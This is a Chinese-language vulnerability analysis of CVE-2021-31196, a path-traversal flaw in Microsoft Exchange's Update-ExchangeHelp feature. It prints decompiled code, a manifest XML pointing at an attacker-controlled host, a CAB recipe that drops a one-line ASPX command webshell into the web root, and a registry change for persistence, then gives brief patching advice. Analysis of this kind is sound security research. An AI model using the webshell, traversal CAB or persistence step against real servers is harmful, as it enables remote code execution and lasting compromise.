Pwn2Own 2021 Microsoft Exchange Server漏洞(CVE-2021-31196)利用分析
0x00 前言
CVE-2021-31196是一个逻辑漏洞,利用前提是需要中间人攻击,并且还需要用户的交互操作,最后能够实现远程代码执行。
漏洞作者分享的技术文章:
https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html
本文仅在技术角度记录自己的研究心得。
0x01 简介
本文将要介绍以下内容:
- 漏洞调试
- 利用思路
0x02 漏洞调试
1.漏洞摘要
在Exchange Server 2013或更高版本中,当管理用户在Exchange Management Shell中运行Update-ExchangeHelp
或者Update-ExchangeHelp -Force
命令时,处于特权网络位置的未经身份验证的攻击者可以触发远程执行代码漏洞
特权网络位置是指攻击者能够劫持域名http://go.microsoft.com/fwlink/p/?LinkId=287244
2.漏洞代码位置
按照原文中给出的资料,dnSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Management.dll
依次定位到Microsoft.Exchange.Management.UpdatableHelp
-> HelpUpdater
-> UpdateHelp()
3.漏洞逻辑
(1)使用Exchange Management Shell执行Update-ExchangeHelp
命令或者Update-ExchangeHelp -Force
命令
在Exchange Server 2013或更高版本中,支持Update-ExchangeHelp
命令,用来检查本地计算机上Exchange Management Shell最新可用版本的帮助
Update-ExchangeHelp
的限制期为24小时,如果在24小时内再次执行命令,需要加入-Force
参数
执行命令后进入UpdateHelp()
函数,开始后面的操作
(2)下载配置文件
UpdateHelp()
函数中下载配置文件的代码如下图
DownloadManifest()
的实现代码如下:
internal void DownloadManifest()
{
string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
if (!this.helpUpdater.Cmdlet.Abort)
{
this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));
}
}
对于string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
,参数this.helpUpdater.ManifestUrl
通过函数LoadConfiguration()
获得,LoadConfiguration()
的部分代码如下:
RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
if (registryKey3 == null)
{
registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
}
if (registryKey3 != null)
{
try
{
this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();
if (string.IsNullOrEmpty(this.ManifestUrl))
{
throw new UpdatableExchangeHelpSystemException(UpdatableHelpStrings.UpdateRegkeyNotFoundErrorID, UpdatableHelpStrings.UpdateRegkeyNotFound("SOFTWARE\\Microsoft\\ExchangeServer\\v15", "\\UpdateExchangeHelp", "ManifestUrl"), ErrorCategory.MetadataError, null, null);
}
这里的逻辑为读取注册表HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp
中名称为ManifestUrl
的项,如果存在,将值赋值给ManifestUrl
,如果不存在,ManifestUrl
的值为http://go.microsoft.com/fwlink/p/?LinkId=287244
这里也是这个漏洞的利用前提之一,需要能够劫持http://go.microsoft.com/fwlink/p/?LinkId=287244
换一种思路,如果已经获得了Exchange服务器的控制权限,通过修改注册表,设置ManifestUrl
,类型为REG_SZ
,值为远程xml地址,例如http://192.168.1.3/poc.xml
,可以作为一种持久化的利用方法
对于this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));
,参数this.helpUpdater.LocalManifestPath
为配置文件的保存路径,默认配置下路径为C:\Program Files\Microsoft\Exchange Server\V15\Bin\UpdateHelp.$$$\ExchangeHelpInfo.xml
xml配置文件的格式示例:
<ExchangeHelpInfo>
<HelpVersions>
<HelpVersion>
<Version>15.1.2176.2</Version>
<Revision>1</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>http://192.168.1.3/poc.cab</CabinetUrl>
</HelpVersion>
</HelpVersions>
</ExchangeHelpInfo>
参数Version
为Exchange的版本号,在调试环境下可通过查看注册表获得:
REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\ClientAccessRole" /v ConfiguredVersion
参数Revision
为修订版本号,这里需要注意取值范围,一次正常的Update-ExchangeHelp
操作后,会在注册表HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp
新建注册表项CurrentHelpRevision
,类型为REG_DWORD
,值为Revision
对应的数值,在下一次Update-ExchangeHelp
操作时,xml配置文件的Revision数值需要大于注册表项CurrentHelpRevision
的值
注:
如果一次正常的Update-ExchangeHelp
操作后,手动删除注册表项CurrentHelpRevision
,在下一次Update-ExchangeHelp
操作时,Revision取1
即可
参数CabinetUrl
为cab文件的下载地址
(3)下载并提取CAB文件
UpdateHelp()
函数中下载并提取CAB文件的代码如下图
ExtractToTemp()
的实现代码如下:
internal int ExtractToTemp()
{
this.filesAffected = 0;
this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
bool embedded = false;
string filter = "";
int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);
this.cabinetFiles = new Dictionary<string, List<string>>();
this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
this.filesAffected = result;
return result;
}
对于int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);
,用于提取CAB文件的内容
ExtractCabFiles
在提取之前没有对文件路径进行判断,这也是CVE-2021-31196的漏洞所在。如果传入../
可以进行目录穿越,最终实现任意文件写入
关于CAB文件的制作,可以参照原文中的方法:
files.txt的内容如下:
"poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
poc.aspx的内容如下:
<%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
命令行下执行命令:
makecab /d "CabinetName1=poc.cab" /f files.txt
生成最终的poc.cab
0x03 利用思路
1.通过中间人攻击的方式劫持http://go.microsoft.com/fwlink/p/?LinkId=287244
POC可参考原文
当管理用户在Exchange Management Shell中运行Update-ExchangeHelp
或者Update-ExchangeHelp -Force
命令时,Exchange服务器将会在C:\inetpub\wwwroot\aspnet_client
写入Webshell
2.修改注册表,实现持久化利用
注册表位置:HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp
新建注册表项,名称为ManifestUrl
,类型为REG_SZ
,内容为远程xml地址,例如http://192.168.1.3/poc.xml
0x04 防御建议
1.安装补丁
参考资料:
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31206
2.避免网络被劫持
0x05 小结
CVE-2021-31196的利用条件虽然相对来说多一些,但是在特定环境下也有利用的可能,需要及时更新补丁。